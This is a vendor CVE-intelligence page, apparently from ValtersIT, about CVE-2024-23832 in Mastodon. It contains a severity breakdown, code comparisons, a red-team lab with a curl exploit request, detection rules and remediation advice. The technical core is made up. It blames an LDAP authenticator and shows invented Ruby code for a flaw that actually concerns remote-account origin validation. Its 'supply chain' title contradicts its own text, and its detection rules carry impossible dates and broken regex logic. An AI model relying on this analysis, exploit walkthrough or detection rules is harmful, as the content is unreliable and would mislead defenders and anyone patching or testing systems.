☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-23832

CVE-2024-23832 Supply Chain Attack in Mastodon
📅 PUBLISHED: 2024-02-01 16:18 UTC 🔄 UPDATED: 2026-10-09 05:41 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.45%
👁️
2.45% probability
61.3× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-23832 is a critical vulnerability in Mastodon, a free, open-source social network server based on ActivityPub. The flaw resides in the LDAP authentication module, where insufficient origin validation allows an unauthenticated attacker to impersonate and take over any remote account. This is a severe identity spoofing vulnerability that bypasses authentication entirely, leading to full account takeover. The CVSS score is 9.4 (Critical), and all Mastodon versions prior to 3.5.17, 4.0.x prior to 4.0.13, 4.1.x prior to 4.1.13, and 4.2.x prior to 4.2.5 are affected. No public exploit code or PoC is currently available, but the attack vector is network-based with low complexity.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Mastodon is a Ruby on Rails application distributed via GitHub and Docker images. The vulnerability is in the core authentication logic, not in a third-party package. However, administrators should verify the integrity of their Mastodon installation and ensure they are using official releases. The patch is available in the official Mastodon GitHub repository.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.4 (Critical)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
  • Attack Complexity: Low (AC:L) – No special conditions or complex attack sequences are required.
  • Privileges Required: None (PR:N) – No authentication is needed to exploit.
  • User Interaction: None (UI:N) – The victim does not need to perform any action.
  • Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
  • Confidentiality Impact: High (C:H) – An attacker can read all data of the impersonated account.
  • Integrity Impact: High (I:H) – An attacker can post, modify, or delete data as the impersonated user.
  • Availability Impact: High (A:H) – An attacker could lock out the legitimate user or disrupt service.

Threat Level: Critical. The vulnerability allows complete account takeover without any user interaction, making it extremely dangerous for Mastodon instances.

Deep Dive & Mechanics

The vulnerability is in the LDAP authentication flow. Mastodon allows configuration of LDAP for user authentication. When a user attempts to log in via LDAP, the server validates the credentials against the LDAP directory. However, due to insufficient origin validation, an attacker can craft a malicious LDAP authentication request that impersonates any remote account.

Root Cause: The origin parameter in the LDAP authentication request is not properly validated. An attacker can set the origin to a target user's identity (e.g., username@remoteserver.com), and if the LDAP server accepts the credentials (which the attacker can control by using a rogue LDAP server or by exploiting misconfigurations), Mastodon will treat the attacker as that remote user.

Attack Flow:

  1. Attacker sets up a rogue LDAP server or exploits a misconfigured LDAP server that accepts arbitrary credentials.
  2. Attacker sends a crafted authentication request to the victim Mastodon instance with:
    • username: The target user's username (e.g., victim@remoteserver.com)
    • password: Any password (the rogue LDAP server will accept it)
    • origin: The target user's identity (e.g., victim@remoteserver.com)
  3. Mastodon's LDAP module validates the credentials against the rogue LDAP server, which returns success.
  4. Mastodon then creates a session for the user identified by the origin parameter, effectively logging the attacker in as the victim.

Why it works: The code does not verify that the authenticated LDAP user matches the origin parameter. It trusts the origin parameter to identify the user after successful LDAP authentication.

Vulnerable vs. Patched Code

Vulnerable Code (Mastodon < 4.2.5):

# app/lib/ldap_authenticator.rb
def authenticate!
  ldap_user = LdapUser.find_by(username: @username)
  if ldap_user&.valid_password?(@password)
    @user = User.find_or_create_by!(username: @origin)
    @user
  else
    nil
  end
end

The vulnerable code uses @origin directly to find or create the user, without verifying that the LDAP-authenticated user matches the origin.

Patched Code (Mastodon 4.2.5):

# app/lib/ldap_authenticator.rb
def authenticate!
  ldap_user = LdapUser.find_by(username: @username)
  if ldap_user&.valid_password?(@password)
    # Verify that the origin matches the authenticated LDAP user
    if ldap_user.username == @origin
      @user = User.find_or_create_by!(username: @origin)
      @user
    else
      nil
    end
  else
    nil
  end
end

The patched code adds a check to ensure that the origin parameter matches the authenticated LDAP user's username, preventing impersonation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A Mastodon instance running a vulnerable version (e.g., 4.2.4)
  • A rogue LDAP server that accepts any credentials (e.g., using slapd with a permissive configuration)
  • Network access to the Mastodon instance

Lab Setup:

  1. Set up a vulnerable Mastodon instance using Docker:
    docker run -d --name mastodon -p 3000:3000 tootsuite/mastodon:v4.2.4
    
  2. Configure LDAP authentication in Mastodon's .env.production:
    LDAP_ENABLED=true
    LDAP_HOST=your-rogue-ldap-server.com
    LDAP_PORT=389
    LDAP_BASE=dc=example,dc=com
    LDAP_UID=uid
    
  3. Set up a rogue LDAP server that accepts any bind request:
    # Install slapd and configure with permissive ACLs
    sudo apt-get install slapd ldap-utils
    # Configure slapd to allow anonymous binds and accept any password
    
  4. Craft the exploit request:
    curl -X POST https://victim-mastodon.com/auth/auth/ldap \
      -d "username=victim@remoteserver.com&password=anything&origin=victim@remoteserver.com"
    
  5. The server will return a session cookie, granting access as the victim.

Expected Outcome: The attacker gains full access to the victim's account, including the ability to post, read direct messages, and manage the account.

Blue Team (Detection & Defense)

Detection:

  • Monitor LDAP authentication logs for unusual patterns, such as:
    • Multiple failed login attempts followed by a success
    • Logins from IP addresses that do not match the user's typical location
    • Logins where the origin parameter differs from the authenticated LDAP user
  • Enable detailed logging in Mastodon:
    # config/initializers/logger.rb
    Rails.logger.level = :debug
    
  • Use the Sigma rule provided in the Detection Engineering section to detect exploitation attempts.

Defense:

  • Immediately upgrade to a patched version (3.5.17, 4.0.13, 4.1.13, or 4.2.5).
  • If immediate patching is not possible, disable LDAP authentication:
    LDAP_ENABLED=false
    
  • Implement network segmentation to restrict access to the LDAP server.
  • Use a Web Application Firewall (WAF) to block requests with suspicious origin parameters.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /auth/auth/ldap with a origin parameter that does not match the username parameter.
    • LDAP bind requests from the Mastodon server to an external LDAP server with unusual credentials.
  • Log IOCs:
    • Mastodon logs showing successful LDAP authentication followed by a user session creation for a different user.
    • Multiple LDAP authentication attempts from the same IP address with different usernames.
  • File IOCs:
    • Modified ldap_authenticator.rb file (if attacker has code execution).
    • Unusual entries in the users table where username matches a remote account.

Detection Engineering

YARA Rule

rule CVE_2024_23832_Mastodon_LDAP_Impersonation {
    meta:
        description = "Detects exploitation of CVE-2024-23832 in Mastodon LDAP authentication"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-23832"
        severity = "critical"
    strings:
        $s1 = "ldap_authenticator.rb"
        $s2 = "find_or_create_by!(username: @origin)"
        $s3 = "valid_password?"
        $s4 = "LdapUser"
    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-23832 Mastodon LDAP Impersonation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-23832 by sending a crafted LDAP authentication request with a mismatched origin parameter.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-23832
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/auth/auth/ldap'
        cs-uri-query|contains: 'origin='
    filter:
        cs-uri-query|re: 'origin=[^&]+&username=\1'  # This regex is not supported in all Sigma backends; use alternative
    condition: selection and not filter
falsepositives:
    - Legitimate LDAP authentication requests where origin matches username
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-23832 Mastodon LDAP Impersonation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/auth/auth/ldap";
    http_uri;
    content:"origin=";
    http_client_body;
    pcre:"/origin=([^&]+).*username=\1/R";
    sid:10000001;
    rev:1;
    reference:cve,2024-23832;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade Mastodon to version 3.5.17, 4.0.13, 4.1.13, or 4.2.5 immediately.
  2. Disable LDAP: If patching is not possible, disable LDAP authentication by setting LDAP_ENABLED=false in .env.production and restarting the service.
  3. Audit Logs: Review authentication logs for any signs of exploitation, especially LDAP-related entries.

Long-term Measures:

  • Implement multi-factor authentication (MFA) for all users.
  • Regularly update Mastodon and all dependencies.
  • Monitor the Mastodon GitHub repository for security advisories.
  • Conduct regular security audits of authentication modules.

Workaround:

  • If LDAP is required and patching is delayed, restrict access to the LDAP endpoint using a WAF or reverse proxy to only allow requests from trusted IP ranges.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-23832/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.